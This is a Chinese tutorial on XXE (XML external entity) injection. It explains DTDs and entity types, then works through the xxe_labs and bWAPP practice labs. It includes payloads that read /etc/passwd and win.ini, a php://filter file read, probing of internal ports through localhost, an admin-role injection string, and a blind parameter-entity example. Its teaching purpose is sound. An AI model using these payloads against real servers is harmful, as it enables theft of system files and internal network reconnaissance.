一篇文章带你深入理解漏洞之 XXE 漏洞-先知社区

XXE漏洞学习小记

靶场用的是xxe_labs和bwapp

XXE漏洞原理特征详解

漏洞原理

XML外部实体注入

image-20250805162948559

攻击者输入的是

1
User1</USER><USER role="admin">User2

它的 “破坏逻辑” 是:

</USER>闭合原本的 <USER> 标签,让原始 <USER role="guest">用户输入</USER> 变成 <USER role="guest">User1</USER>(截断原始逻辑)。

<USER role="admin">User2注入新的 <USER> 标签,还带 role="admin" 高权限,强行新增一个管理员身份的用户。

利用用户可控输入破坏原本合法的 XML 格式,插入额外内容实现越权等攻击

XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。

Content-type:text/xml application/xml

XXEXML外部实体注入
注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

分析:

XML 与外部实体

XML(eXtensible Markup Language,可扩展标记语言 )是一种用于存储和传输数据的标记语言。在 XML 中,外部实体是一种可以引入外部资源(比如文件、网络资源等)的机制。举个简单的例子,正常情况下,在 XML 中可以通过<!ENTITY>声明来引入外部实体,比如想要在 XML 文档中引用一个本地文件,就可以这样写:

1
2
3
4
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

这里<!ENTITY file SYSTEM "file:///etc/passwd">就声明了一个名为file的外部实体,它指向了本地的/etc/passwd文件,然后在<root>标签里通过&file;来引用这个实体。

当 XML 解析器在解析 XML 文档时,如果没有对外部实体的引入做限制,攻击者就有机可乘。攻击者可以精心构造恶意的 XML 文档,将恶意代码注入到 XML 中。例如,攻击者把上述代码发送给存在 XXE 漏洞的服务器,服务器的 XML 解析器在解析时,就会按照攻击者的意图去读取本地的/etc/passwd文件(在 Linux 系统中,这个文件包含了系统用户的重要信息 ),这就是文件读取攻击。

此外,攻击者还可以通过设置外部实体指向其他网络资源,比如内部的数据库服务器、内网的 Web 服务等,引发 SSRF(Server-Side Request Forgery,服务器端请求伪造)攻击,让服务器代替攻击者去访问内网资源,从而获取敏感数据或执行一些非法操作。更严重的情况下,在一些配置不当的环境中,攻击者可以实现命令执行,控制服务器。

漏洞特征

  • Content-type 与数据传输方式:在 HTTP 协议中,Content-type(内容类型) 头字段用于告诉服务器或客户端发送的数据是什么格式。当Content-type的值为text/xmlapplication/xml时,就表明这次 HTTP 请求中传输的数据是 XML 格式的。
  • 测试漏洞存在的依据:因为 XXE 漏洞是针对 XML 数据解析产生的,所以当发现 HTTP 请求报文里Content-type 是上述提到的与 XML 相关的值时,就意味着有可能存在 XXE 漏洞。这时就可以通过构造一些包含外部实体声明的测试用 XML 数据,发送给服务器,看服务器的 XML 解析器是否会按照我们预想的(也就是存在漏洞的情况下)去处理外部实体,从而判断是否真的存在 XXE 漏洞。

html和xml的小区别

首先他们两个都是标记语言 只不过是在设计目标 语法规则 应用场景下有一些区别

1. 设计目标

HTML:聚焦网页内容呈现,为浏览器提供渲染网页的 “蓝图” 。它预定义了 <p>(段落 )、<h1>(标题 )、<img>(图片 )等标签,直接关联网页视觉与交互展现,核心是让用户 “看到” 结构化的网页内容。

XML:专注数据存储与传输,作为通用的 “数据容器” 。无预定义标签,用户可自定义 <订单><用户信息> 等标签描述数据关系,核心是让系统 “读懂” 结构化数据,实现跨系统的数据交换。

DTD实体是什么

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD的东西控制的

长这样

1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是文档定义 用来指定xml的版本
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

定义了根元素是message 然后其他的就是子元素 这个DTD就规定了xml要如下

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

然后进阶一点的 就是说可以不用每次都改我输入的内容(元素) 使用的相当于就是一个变量

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里就是定义的foo元素为any 可以接受任意元素

<!ENTITY xxe "test" >

这个是实体定义 把xxe定义为一个实体(类似于变量)他的值是test

实体的作用是 预存一段内容,后续在 XML 里用 &实体名; 引用,解析时会替换成对应的值

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这就是xml的内容
& 开头、; 结尾的语法引用实体 xxe
解析 XML 时,解析器会识别 &xxe;,自动替换成实体定义的值(即 "test")。

所以最终解析后的 XML 内容等价于:

1
2
3
4
<creds>
<user>test</user>
<pass>mypass</pass>
</creds>

DTD 就像是 XML 文档的蓝图或规则手册,规定了 XML 文档中元素的层级关系、出现顺序以及元素内容的类型等。

上面的例子都是内部实体 其实实体分为两种内部和外部

实体实际上可以从外部的dtd文件引用 比如下面

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>外部实体:值来自本地文件c:/test.dtd
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

image-20250807214915932

在 XML 中,一些字符拥有特殊的意义,如果把这些字符放在XML元素中就会产生错误,所以必须用实体引用来代替

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>

实体

(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>

三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

XXE分类

按照构造外部实体声明的方法不同可分为

直接通过DTD外部实体声明

通过DTD文档引入外部DTD文档中的外部实体声明

通过DTD外部实体声明引入外部DTD文档中的外部实体声明

按照XXE回显信息不同可分为`正常回显XXE``

报错XXE

``Blind XXE`。

xxe_labs

php_xxe

image-20250807105641171

image-20250807105725032

可以看到这里 数据是以xml格式发送的

常见数据传递格式

表单数据(application/x-www-form-urlencoded

JSON(application/json

过程大概就是 前端通过post请求把xml格式的账号密码发送到dologin.php

然后dologin.php作为后端处理脚本 会对接受的xml数据进行一个解析 比如说提取输入的username passwd标签中的内容 继续后面的验证

所以我们要做的就是 在body(请求体)中加入xml内容进行测试

body是啥

image-20250807110210934

image-20250807110223858

举个栗子 当你在网页上提交登录表单时,请求的结构大致如下

1
2
3
4
5
POST /doLogin.php HTTP/1.1  // 请求行(方法+路径+协议)
Host: example.com // 请求头(元信息)
Content-Type: application/x-www-form-urlencoded // 声明body格式

username=admin&password=123456 // 这部分就是body(具体数据)

这里的username=admin&password=123456就是放在 body 中的登录数据,服务器会从 body 中解析这些内容并处理登录逻辑

有回显的xx漏洞

1
2
3
file:///                   #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
PHP://filter #文件流形式读取php文件
1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]>

<user><username>&name;</username><password>1</password></user>

image-20250807211929921

file:///e://test.txt

读取本地文件

使用PHP伪协议读取文件如下图

image-20250807212229700

php://filter/read=convert.base64-encode/resource=d:/1.txt

探测内网存活主机与端口如下图

http://127.0.0.1:3306

image-20250807212435197

无回显数据外带

  1. <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
     %shit;
    ]>
    

    这种写法和上面那种写法的不同

image-20250807213840889

差不太多我感觉

image-20250807213913085

这个是改了靶场的文件 然后使他没有回显了